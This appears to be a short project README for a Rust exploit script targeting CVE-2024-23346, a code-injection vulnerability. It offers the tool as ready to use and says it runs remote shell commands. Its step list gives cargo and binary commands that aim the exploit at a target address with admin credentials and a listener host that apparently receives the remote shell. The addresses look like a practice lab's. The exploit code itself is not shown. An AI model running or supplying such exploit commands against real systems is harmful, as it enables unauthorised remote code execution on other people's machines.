CVE-2024-23346-rust-exploit

A Rust exploitation script for CVE-2024-23346.

As shown below the POC uses the code injection vulnerability and runs remote shell commands like in a Terminal.

poc.webm

---

Steps to run the exploit:

• Run directly with Cargo
  • cargo run -- --help
  • cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

OR

• Compile the Binary: cargo build -r (binary will be in target/release/poc)
• Run the Binary:
  • ./poc --help
  • ./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

---

Exploit script is inspired from Python Scripting Expert MAWK0235